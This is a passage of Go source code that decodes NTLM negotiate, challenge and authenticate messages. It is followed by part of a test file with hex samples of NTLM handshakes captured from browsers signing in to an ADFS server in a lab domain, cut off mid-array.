NegotiateMessage.WorkstationFields.WorkstationName = rawBytes[beginOffset:endOffset]
return &NegotiateMessage, nil
}
func DecodeChallengeMessage(rawBytes []byte) (*CHALLENGE_MESSAGE, error) {
var ChallengeMessage CHALLENGE_MESSAGE
var err error
if len(rawBytes) < NTLM_MINIMUM_CHALLENGE_SIZE {
return nil, fmt.Errorf("buffer is too short for a challenge message")
}
ChallengeMessage.Signature = rawBytes[:8]
ChallengeMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12])
ChallengeMessage.TargetNameFields.TargetNameLen = decodeInt16LittleEndian(rawBytes[12:14])
ChallengeMessage.TargetNameFields.TargetNameMaxLen = decodeInt16LittleEndian(rawBytes[14:16])
ChallengeMessage.TargetNameFields.TargetNameBufferOffset = decodeInt32LittleEndian(rawBytes[16:20])
TargetNameFields := ChallengeMessage.TargetNameFields
beginOffset := TargetNameFields.TargetNameBufferOffset
endOffset := beginOffset + uint32(TargetNameFields.TargetNameLen)
if endOffset > uint32(len(rawBytes)) {
return nil, fmt.Errorf("TargetName, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
}
ChallengeMessage.TargetNameFields.TargetName = rawBytes[beginOffset:endOffset]
ChallengeMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[20:24])
ChallengeMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(ChallengeMessage.NegotiateFlags)
ChallengeMessage.ServerChallenge = rawBytes[24:32]
ChallengeMessage.Reserved = rawBytes[32:40]
ChallengeMessage.TargetInfoFields.TargetInfoLen = decodeInt16LittleEndian(rawBytes[40:42])
ChallengeMessage.TargetInfoFields.TargetInfoMaxLen = decodeInt16LittleEndian(rawBytes[42:44])
ChallengeMessage.TargetInfoFields.TargetInfoBufferOffset = decodeInt32LittleEndian(rawBytes[44:48])
TargetInfoFields := ChallengeMessage.TargetInfoFields
beginOffset = TargetInfoFields.TargetInfoBufferOffset
endOffset = beginOffset + uint32(TargetInfoFields.TargetInfoLen)
if endOffset > uint32(len(rawBytes)) {
return nil, fmt.Errorf("TargetInfo, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
}
ChallengeMessage.TargetInfoFields.TargetInfo = rawBytes[beginOffset:endOffset]
ChallengeMessage.DecodedTargetInfo.AvPairs, err = DecodeAvPairs(ChallengeMessage.TargetInfoFields.TargetInfo)
if err != nil {
return nil, fmt.Errorf("TargetInfo, unable to decode TargetInfo fields, err: %v", err)
}
if ChallengeMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION {
if len(rawBytes) < 54 {
return nil, fmt.Errorf("NTLM message too short")
}
ChallengeMessage.Version.ProductMajorVersion = rawBytes[32]
ChallengeMessage.Version.ProductMinorVersion = rawBytes[33]
ChallengeMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[48:50])
ChallengeMessage.Version.Reserved = rawBytes[50:53]
ChallengeMessage.Version.NTLMRevisionCurrent = rawBytes[53]
}
return &ChallengeMessage, nil
}
func DecodeAuthenticateMessage(rawBytes []byte) (*AUTHENTICATE_MESSAGE, error) {
var AuthenticateMessage AUTHENTICATE_MESSAGE
var err error
if len(rawBytes) < NTLM_MINIMUM_AUTHENTICATE_SIZE {
return nil, fmt.Errorf("buffer is too short for a challenge message")
}
AuthenticateMessage.Signature = rawBytes[:8]
AuthenticateMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12])
AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseLen = decodeInt16LittleEndian(rawBytes[12:14])
AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseMaxLen = decodeInt16LittleEndian(rawBytes[14:16])
AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseBufferOffset = decodeInt32LittleEndian(rawBytes[16:20])
AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseLen = decodeInt16LittleEndian(rawBytes[20:22])
AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseMaxLen = decodeInt16LittleEndian(rawBytes[22:24])
AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseBufferOffset = decodeInt32LittleEndian(rawBytes[24:28])
AuthenticateMessage.DomainNameFields.DomainNameLen = decodeInt16LittleEndian(rawBytes[28:30])
AuthenticateMessage.DomainNameFields.DomainNameMaxLen = decodeInt16LittleEndian(rawBytes[30:32])
AuthenticateMessage.DomainNameFields.DomainNameBufferOffset = decodeInt32LittleEndian(rawBytes[32:36])
AuthenticateMessage.UserNameFields.UserNameLen = decodeInt16LittleEndian(rawBytes[36:38])
AuthenticateMessage.UserNameFields.UserNameMaxLen = decodeInt16LittleEndian(rawBytes[38:40])
AuthenticateMessage.UserNameFields.UserNameBufferOffset = decodeInt32LittleEndian(rawBytes[40:44])
AuthenticateMessage.WorkstationFields.WorkstationLen = decodeInt16LittleEndian(rawBytes[44:46])
AuthenticateMessage.WorkstationFields.WorkstationMaxLen = decodeInt16LittleEndian(rawBytes[46:48])
AuthenticateMessage.WorkstationFields.WorkstationBufferOffset = decodeInt32LittleEndian(rawBytes[48:52])
AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyLen = decodeInt16LittleEndian(rawBytes[52:54])
AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyMaxLen = decodeInt16LittleEndian(rawBytes[54:56])
AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyBufferOffset = decodeInt32LittleEndian(rawBytes[56:60])
AuthenticateMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[60:64])
AuthenticateMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(AuthenticateMessage.NegotiateFlags)
if AuthenticateMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION {
if len(rawBytes) < 72 {
return nil, fmt.Errorf("NTLM message too short")
}
AuthenticateMessage.Version.ProductMajorVersion = rawBytes[64]
AuthenticateMessage.Version.ProductMinorVersion = rawBytes[65]
AuthenticateMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[66:68])
AuthenticateMessage.Version.Reserved = rawBytes[68:71]
AuthenticateMessage.Version.NTLMRevisionCurrent = rawBytes[71]
}
LmChallengeResponseFields := AuthenticateMessage.LmChallengeResponseFields
beginOffset := LmChallengeResponseFields.LmChallengeResponseBufferOffset
endOffset := beginOffset + uint32(LmChallengeResponseFields.LmChallengeResponseMaxLen)
AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponse = rawBytes[beginOffset:endOffset]
NtChallengeResponseFields := AuthenticateMessage.NtChallengeResponseFields
beginOffset = NtChallengeResponseFields.NtChallengeResponseBufferOffset
endOffset = beginOffset + uint32(NtChallengeResponseFields.NtChallengeResponseMaxLen)
if endOffset > uint32(len(rawBytes)) {
return nil, fmt.Errorf("NtChallengeResponseFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
}
AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse = rawBytes[beginOffset:endOffset]
DomainNameFields := AuthenticateMessage.DomainNameFields
beginOffset = DomainNameFields.DomainNameBufferOffset
endOffset = beginOffset + uint32(DomainNameFields.DomainNameMaxLen)
if endOffset > uint32(len(rawBytes)) {
return nil, fmt.Errorf("DomainNameFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
}
AuthenticateMessage.DomainNameFields.DomainName = rawBytes[beginOffset:endOffset]
UserNameFields := AuthenticateMessage.UserNameFields
beginOffset = UserNameFields.UserNameBufferOffset
endOffset = beginOffset + uint32(UserNameFields.UserNameMaxLen)
if endOffset > uint32(len(rawBytes)) {
return nil, fmt.Errorf("UserNameFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
}
AuthenticateMessage.UserNameFields.UserName = rawBytes[beginOffset:endOffset]
WorkstationFields := AuthenticateMessage.WorkstationFields
beginOffset = WorkstationFields.WorkstationBufferOffset
endOffset = beginOffset + uint32(WorkstationFields.WorkstationMaxLen)
if endOffset > uint32(len(rawBytes)) {
return nil, fmt.Errorf("WorkstationFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
}
AuthenticateMessage.WorkstationFields.Workstation = rawBytes[beginOffset:endOffset]
EncryptedRandomSessionKeyFields := AuthenticateMessage.EncryptedRandomSessionKeyFields
beginOffset = EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyBufferOffset
endOffset = beginOffset + uint32(EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyMaxLen)
if endOffset > uint32(len(rawBytes)) {
return nil, fmt.Errorf("EncryptedRandomSessionKeyFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
}
AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKey = rawBytes[beginOffset:endOffset]
if len(AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse) == 24 { // NTLMv1 Detexted
} else { // NTLMv2 Detected
AuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.Response = AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse[:16]
ClientChallengeBytes := AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse[16:]
AuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.ClientChallenge, err = DecodeNTLMv2ClientChallenge(ClientChallengeBytes)
if err != nil {
return nil, fmt.Errorf("NtChallengeResponseFields, unable to decode NTLMv2 ClientChallenge: %v", err)
}
}
AuthenticateMessage.MIC = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
for _, avPair := range AuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.ClientChallenge.AvPairs {
if avPair.AvId == MsvAvFlags {
AvFlags := decodeInt32LittleEndian(avPair.AvData[:4])
if AvFlags&MessageIntegrityCodeIncluded == MessageIntegrityCodeIncluded {
if len(rawBytes) < 89 {
return nil, fmt.Errorf("NTLM message too short")
}
AuthenticateMessage.MIC = rawBytes[72:88]
}
}
}
return &AuthenticateMessage, nil
}
func DecodeNegotiateFlags(NegotiateFlags uint32) DECODED_NEGOTIATE_FLAGS {
var DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS
DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_UNICODE = (NegotiateFlags & (1 << 0)) != 0
DecodedNegotiateFlags.NTLM_NEGOTIATE_OEM = (NegotiateFlags & (1 << 1)) != 0
DecodedNegotiateFlags.NTLMSSP_REQUEST_TARGET = (NegotiateFlags & (1 << 2)) != 0
DecodedNegotiateFlags.R10 = (NegotiateFlags & (1 << 3)) != 0
DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_SIGN = (NegotiateFlags & (1 << 4)) != 0
DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_SEAL = (NegotiateFlags & (1 << 5)) != 0
DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_DATAGRAM = (NegotiateFlags & (1 << 6)) != 0
DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_LM_KEY = (NegotiateFlags & (1 << 7)) != 0
DecodedNegotiateFlags.R9 = (NegotiateFlags & (1 << 8)) != 0
DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_NTLM = (NegotiateFlags & (1 << 9)) != 0
DecodedNegotiateFlags.R8 = (NegotiateFlags & (1 << 10)) != 0
DecodedNegotiateFlags.ANONYMOUS_CONNECTION = (NegotiateFlags & (1 << 11)) != 0
DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED = (NegotiateFlags & (1 << 12)) != 0
DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED = (NegotiateFlags & (1 << 13)) != 0
DecodedNegotiateFlags.R7 = (NegotiateFlags & (1 << 14)) != 0
DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_ALWAYS_SIGN = (NegotiateFlags & (1 << 15)) != 0
DecodedNegotiateFlags.NTLMSSP_TARGET_TYPE_DOMAIN = (NegotiateFlags & (1 << 16)) != 0
DecodedNegotiateFlags.NTLMSSP_TARGET_TYPE_SERVER = (NegotiateFlags & (1 << 17)) != 0
DecodedNegotiateFlags.R6 = (NegotiateFlags & (1 << 18)) != 0
DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY = (NegotiateFlags & (1 << 19)) != 0
DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_IDENTIFY = (NegotiateFlags & (1 << 20)) != 0
DecodedNegotiateFlags.R5 = (NegotiateFlags & (1 << 21)) != 0
DecodedNegotiateFlags.NTLM_REQUEST_NON_NT_SESSION_KEY = (NegotiateFlags & (1 << 22)) != 0
DecodedNegotiateFlags.NTLM_NEGOTIATE_TARGET_INFO = (NegotiateFlags & (1 << 23)) != 0
DecodedNegotiateFlags.R4 = (NegotiateFlags & (1 << 24)) != 0
DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION = (NegotiateFlags & (1 << 25)) != 0
DecodedNegotiateFlags.R3 = (NegotiateFlags & (1 << 26)) != 0
DecodedNegotiateFlags.R2 = (NegotiateFlags & (1 << 27)) != 0
DecodedNegotiateFlags.R1 = (NegotiateFlags & (1 << 28)) != 0
DecodedNegotiateFlags.NTLM_NEGOTIATE_128 = (NegotiateFlags & (1 << 29)) != 0
DecodedNegotiateFlags.NTLM_NEGOTIATE_KEY_EXCH = (NegotiateFlags & (1 << 30)) != 0
DecodedNegotiateFlags.NTLM_NEGOTIATE_56 = (NegotiateFlags & (1 << 31)) != 0
return DecodedNegotiateFlags
}
func DecodeAvPairs(rawBytes []byte) ([]AV_PAIR, error) {
var AvPairList []AV_PAIR
for i := 0; i < len(rawBytes); {
var AvPair AV_PAIR
if len(rawBytes) < i+4 {
return nil, fmt.Errorf("NTLM message too short")
}
AvPair.AvId = decodeInt16LittleEndian(rawBytes[i : i+2])
i += 2
AvPair.AvLen = decodeInt16LittleEndian(rawBytes[i : i+2])
i += 2
if len(rawBytes) < i+int(AvPair.AvLen) {
return nil, fmt.Errorf("NTLM message too short")
}
AvPair.AvData = rawBytes[i : i+int(AvPair.AvLen)]
i += int(AvPair.AvLen)
AvPairList = append(AvPairList, AvPair)
if AvPair.AvId == MsvAvEOL {
return AvPairList, nil
}
}
return AvPairList, fmt.Errorf("DecodeAvPairs, error list of av pairs must be terminated by MsvAvEOL")
}
func DecodeNTLMv2ClientChallenge(rawBytes []byte) (NTLMv2_CLIENT_CHALLENGE, error) {
var NTLMv2ClientChallenge NTLMv2_CLIENT_CHALLENGE
var err error
NTLMv2ClientChallenge.RespType = rawBytes[0]
NTLMv2ClientChallenge.HiRespType = rawBytes[1]
NTLMv2ClientChallenge.Reserved1 = rawBytes[2:4]
NTLMv2ClientChallenge.Reserved2 = rawBytes[4:8]
NTLMv2ClientChallenge.TimeStamp = rawBytes[8:16]
NTLMv2ClientChallenge.ChallengeFromClient = rawBytes[16:24]
NTLMv2ClientChallenge.Reserved3 = rawBytes[24:28]
NTLMv2ClientChallenge.AvPairs, err = DecodeAvPairs(rawBytes[28:])
if err != nil {
return NTLMv2ClientChallenge, err
}
return NTLMv2ClientChallenge, nil
}
================================================
FILE: pkg/ntlm/ntlm_test.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package ntlm
import (
"testing"
"github.com/davecgh/go-spew/spew"
)
var (
// SampleA was captured from a system running FireFox on MacOS authenticating to an ADFS server
// running on Windows Server 2019 with BurpSuite proxying the requests
NegotiateMessageBytesSampleA = []byte{
0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
}
ChallengeMessageBytesSampleA = []byte{
0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00,
0x38, 0x00, 0x00, 0x00, 0x05, 0x82, 0x89, 0x02, 0xab, 0xf2, 0x49, 0xf0, 0xf1, 0xa3, 0xb6, 0xdb,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00,
0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00,
0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,
0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00,
0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00,
0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00,
0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,
0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00,
0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,
0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x61, 0x4d, 0x05, 0xbf, 0xe4, 0x72, 0xd8, 0x01,
0x00, 0x00, 0x00, 0x00,
}
AuthenticateMessageBytesSampleA = []byte{
0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00,
0x80, 0x00, 0x00, 0x00, 0xea, 0x00, 0xea, 0x00, 0x98, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00,
0x40, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x16, 0x00, 0x16, 0x00,
0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x82, 0x08, 0x00,
0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00,
0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00,
0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x57, 0x00, 0x4f, 0x00, 0x52, 0x00,
0x4b, 0x00, 0x53, 0x00, 0x54, 0x00, 0x41, 0x00, 0x54, 0x00, 0x49, 0x00, 0x4f, 0x00, 0x4e, 0x00,
0xd6, 0x67, 0x23, 0xd0, 0xc7, 0x43, 0x55, 0x19, 0x0b, 0x00, 0xe7, 0xb9, 0x79, 0x7b, 0x63, 0x4e,
0xca, 0x84, 0xb8, 0xf4, 0x60, 0x1e, 0x41, 0x76, 0x07, 0xad, 0xb4, 0x0c, 0xc0, 0x24, 0xda, 0xba,
0x9c, 0xd6, 0xb6, 0x78, 0x3e, 0x0b, 0x95, 0xb6, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x80, 0x2f, 0x00, 0xbf, 0xe4, 0x72, 0xd8, 0x01, 0xe8, 0x70, 0x53, 0xc9, 0x95, 0x4d, 0x90, 0xa1,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00,
0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,
0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00,
0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00,
0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,
0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,
0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00,
0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x61, 0x4d, 0x05, 0xbf, 0xe4, 0x72, 0xd8, 0x01, 0x00, 0x00,
0x00, 0x00,
}
// SampleB was captured from a system running on Google Chrome on MacOS authenticating to an ADFS server
// running on Windows Server 2019 with BurpSuite proxying the requests
NegotiateMessageBytesSampleB = []byte{
0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08, 0x00,
0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00,
}
ChallengeMessageBytesSampleB = []byte{
0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00,
0x38, 0x00, 0x00, 0x00, 0x05, 0x82, 0x89, 0x02, 0x70, 0x6c, 0xb3, 0x29, 0xc0, 0xb6, 0xfe, 0x76,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00,
0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00,
0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,
0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00,
0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00,
0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00,
0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,
0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00,
0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,
0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x3f, 0x8e, 0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01,
0x00, 0x00, 0x00, 0x00,
}
AuthenticateMessageBytesSampleB = []byte{
0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00,
0x58, 0x00, 0x00, 0x00, 0x4c, 0x01, 0x4c, 0x01, 0x70, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00,
0xbc, 0x01, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0xd6, 0x01, 0x00, 0x00, 0x3a, 0x00, 0x3a, 0x00,
0xe6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x05, 0x82, 0x08, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9c, 0x8c, 0xc2, 0x87, 0x0f, 0xb7, 0xd4, 0xf4,
0x86, 0xc2, 0x13, 0xf3, 0xbe, 0x8d, 0x31, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x8f, 0x28, 0x06, 0xc4, 0xa5, 0x0b, 0x2d, 0xc9, 0xec, 0x1f, 0xca, 0xce, 0x3e, 0x20, 0x6b, 0x55,
0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x8e, 0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01,
0x5f, 0x27, 0x0f, 0x43, 0x1a, 0x57, 0x8f, 0x15, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00,
0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00,
0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00,
0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00,
0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00,
0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00,
0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00,
0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00,
0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00,
0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00,
0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00,
